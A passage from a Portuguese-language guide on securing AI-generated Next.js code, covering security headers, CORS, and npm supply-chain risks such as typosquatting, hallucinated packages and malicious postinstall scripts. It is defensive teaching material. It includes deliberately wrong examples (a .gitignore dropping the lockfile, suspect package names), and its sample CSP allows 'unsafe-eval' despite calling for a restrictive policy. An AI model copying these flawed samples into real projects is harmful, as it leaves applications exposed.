          { key: 'Permissions-Policy', value: 'camera=(), microphone=(), geolocation=()' },
          { key: 'X-DNS-Prefetch-Control', value: 'off' },
          {
            key: 'Content-Security-Policy',
            value: [
              "default-src 'self'",
              "script-src 'self' 'unsafe-eval' 'unsafe-inline' https://js.stripe.com",
              "style-src 'self' 'unsafe-inline' https://fonts.googleapis.com",
              "font-src 'self' https://fonts.gstatic.com",
              "img-src 'self' https://*.supabase.co data: blob:",
              "connect-src 'self' https://*.supabase.co https://api.stripe.com",
              "frame-src https://js.stripe.com",
              "object-src 'none'",
              "base-uri 'self'",
              "form-action 'self'",
            ].join('; ')
          },
        ],
      },
    ]
  },
}

module.exports = nextConfig
Para CORS restritivo:
// lib/cors.ts
const ALLOWED_ORIGINS = [
  'https://seudominio.com.br',
  'https://app.seudominio.com.br',
]

export function getCorsHeaders(request: NextRequest) {
  const origin = request.headers.get('origin')
  const isAllowed = origin && ALLOWED_ORIGINS.includes(origin)

  return {
    'Access-Control-Allow-Origin': isAllowed ? origin : '',
    'Access-Control-Allow-Methods': 'GET, POST, PUT, DELETE',
    'Access-Control-Allow-Headers': 'Content-Type, Authorization',
    'Access-Control-Max-Age': '86400',
  }
}
🛡️ Como prevenir
SEMPRE configure security headers no next.config.js (CSP, HSTS, X-Frame-Options, etc.)
NUNCA use Access-Control-Allow-Origin: * — sempre especifique domínios permitidos
SEMPRE inclua Content-Security-Policy restritivo
SEMPRE force HTTPS com Strict-Transport-Security (max-age mínimo de 1 ano)
Teste headers em securityheaders.com após o deploy — nota A é o mínimo aceitável
Seção 3.10
Dependências Vulneráveis e Supply Chain
🔴 Severidade Crítica
🔴 O que a IA gera
A IA sugere pacotes sem verificar se são legítimos, atualizados ou seguros:
npm install express-validator  # OK — pacote legítimo
npm install mongo-sanitize     # Problema — pacote abandonado, 7 anos sem update
npm install react-markdown-it  # Problema — nome similar ao legítimo (react-markdown)
npm install lodash.get         # Problema — micro-pacote desnecessário, target de supply chain
E o .gitignore gerado frequentemente exclui o lockfile:
# .gitignore gerado pela IA
node_modules/
.env
.env.local
package-lock.json  # ← ERRADO: lockfile deveria ser commitado
🟡 Por que isso é perigoso
Typosquatting
Pacotes com nomes similares a pacotes populares que contêm malware. LLMs podem sugerir nomes incorretos porque seu treinamento incluiu tanto o nome correto quanto as variações.
Pacotes alucinados
LLMs podem inventar nomes de pacotes que não existem. Se um atacante registra esse nome antes de você rodar npm install, o malware é instalado no seu projeto. Demonstrado em escala em 2024.
Dependências abandonadas
Pacotes sem manutenção acumulam vulnerabilidades que nunca serão corrigidas. A IA não verifica a data do último commit ou o número de maintainers.
Lockfile ausente
Sem o package-lock.json commitado, cada npm install em um novo ambiente resolve as versões novamente. Se uma dependência publicou uma versão maliciosa entre o seu último install e o deploy, o ambiente de produção instala a versão comprometida.

Scripts postinstall: Pacotes podem executar código arbitrário no momento da instalação. Um pacote malicioso com script postinstall pode ler seu .env, suas SSH keys, ou instalar uma backdoor no seu ambiente de desenvolvimento.

Cenário de ataque: IA sugere npm install colors → dev instala sem verificar → o pacote colors (versão 1.4.1+) foi sabotado pelo próprio autor em janeiro de 2022, adicionando um loop infinito que crashava qualquer aplicação que o importasse.
🟢 Como corrigir
# 1. Audite as dependências atuais
npm audit

# 2. Corrija vulnerabilidades automáticas
npm audit fix

# 3. Para vulnerabilidades que precisam de major version bump
npm audit fix --force  # CUIDADO: pode quebrar compatibilidade

# 4. Verifique pacotes suspeitos com Socket.dev
npx socket optimize

# 5. Verifique o lockfile está commitado
git add package-lock.json
// package.json — adicione scripts de segurança
{
  "scripts": {
    "preinstall": "npx only-allow npm",
    "audit": "npm audit --audit-level=high",
    "audit:fix": "npm audit fix",
    "deps:check": "npx depcheck",
    "deps:outdated": "npm outdated"
  }
}
# .github/workflows/security.yml — CI/CD check
name: Security Audit
on: [push, pull_request]
jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with: { node-version: '20' }
      - run: npm ci
      - run: npm audit --audit-level=high
# .gitignore — CORRETO
node_modules/
.env
.env.local
.env.production

# NÃO inclua package-lock.json aqui — ele DEVE ser commitado
Antes de instalar qualquer pacote sugerido pela IA, verifique:
  1. O nome está correto? Busque no npmjs.com.
  1. Quantos downloads semanais? Abaixo de 1.000 é suspeito.
  1. Quando foi o último update? Mais de 2 anos é risco.
  1. Quantos maintainers? Apenas 1 é risco (bus factor).
  1. Tem scripts postinstall? Verifique o que eles fazem.
🛡️ Como prevenir
SEMPRE verifique o nome exato do pacote no npmjs.com antes de instalar
SEMPRE commite o package-lock.json no repositório
SEMPRE rode npm audit antes do deploy
NUNCA instale pacotes sem verificar legitimidade, downloads e data de atualização
Configure Dependabot ou Renovate para alertas automáticos de vulnerabilidades
Use npx socket optimize para detectar riscos de supply chain
Em CI/CD, rode npm audit --audit-level=high como step obrigatório
Resumo: As 10 Vulnerabilidades em Uma Tabela

Seis das dez são de severidade crítica. Todas são geradas pela IA como padrão. E todas têm fix simples — que você agora conhece.
No próximo capítulo, vamos mergulhar fundo no Supabase — o backend mais popular do vibecoding — e cobrir tudo que a documentação oficial não ensina sobre segurança: RLS avançado, Storage policies, Edge Functions seguras, e os padrões de policy para os 5 cenários mais comuns de SaaS.